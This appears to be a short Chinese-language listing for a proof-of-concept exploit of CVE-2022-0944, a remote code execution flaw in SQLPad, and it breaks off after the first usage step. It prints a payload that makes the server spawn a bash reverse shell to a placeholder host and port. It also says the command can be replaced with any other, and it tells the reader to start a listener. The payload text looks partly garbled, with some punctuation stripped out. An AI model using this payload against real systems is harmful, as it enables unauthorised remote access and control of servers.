CVE-2022-0944

CVE-2022-0944 PoC SQLPad 中 RCE 的 PoC。 此示例会生成一个反向 Shell，但可以通过修改 payload 中 'exec' 调用内的命令，使 payload 运行任何可用命令。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 环境要求 Python 3 使用方法 1. 启动监听器 root@kitploit:...